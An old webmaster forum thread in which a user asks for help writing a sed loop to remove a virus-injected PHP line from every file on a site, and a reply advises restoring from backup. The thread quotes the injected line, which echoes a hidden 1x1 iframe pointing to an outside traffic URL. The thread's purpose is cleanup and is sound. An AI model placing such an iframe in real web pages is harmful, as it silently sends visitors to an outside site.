Helped needed with sed (Urgent plz)

Forum Moderators: bakedjake

Message Too Old, No Replies

Helped needed with sed (Urgent plz)

Virus problem urgent help needed

AjiNIMC

6:46 pm on Jan 3, 2006 (gmt 0)

All the files at one of my friend's website is virus infected, it has inserted following code in it.

<? echo ('<html><head><title></title></head><body><iframe src="http://www.example.com/traff/" width=1 height=1></iframe></body></html>');?>

Now I want to replace all the code with nothing.

for a in $(find -type f -not -regex '.*\/\.svn.*'); do sed -e 's/<\?\s echo\s $\'<html><head><title><\/title><\/head\><body><iframe\s src=\"http:\/\/www\.example\.com\/traff\/\"\s width=1\s height=1><\/iframe><\/body><\/html>\'$;\?>//g' $a > $a.modifiedfile; mv -f $a.modifiedfile $a; done

since he is use subversion I can't edit inside .svn folders.

This is not working as I am not comfortable with regex and escape characters.

Please help urgently

Thanks,
AjiNIMC

[edited by: tedster at 7:00 pm (utc) on Jan. 3, 2006]
[edit reason] use example.com in code [/edit]

AjiNIMC

7:56 pm on Jan 3, 2006 (gmt 0)

This is a virus which is taking to the <virus injection> site using an iframe.

Please help.

[edited by: tedster at 2:48 am (utc) on Jan. 4, 2006]

encyclo

2:36 am on Jan 4, 2006 (gmt 0)

Not a direct answer to your question, but once the files have been altered in this way, by far the best solution is to revert back to a known good backup rather than trying to use regex to remove the added markup. You just can't tell what else might have been changed: added hidden links to other sites, changed content...

Also, if he is using subversion, surely this manages all changes to the code, so it is easy to roll back to a version prior to the defacement? Or perhaps I have misunderstood the problem?

AjiNIMC

6:41 am on Jan 4, 2006 (gmt 0)

Now it is fixed but the agony was unstable svn revisions. They had changed few things at beta level and was a very major change so could not get any revision without a possible risk.

Thanks for the help, sorry for mentioning the redirecting site name as wanted to help those suffering from the same virus. I am going to blog it in full detail but do not want to post dup content over here.

Can I post the blog URL, it can be an inactive link but surely it will be a help to many. This virus is spreading fast as I saw few sites getting infected at the same time. If I am allowed then only I will post the blog URL.

Thanks again,
AjiNIMC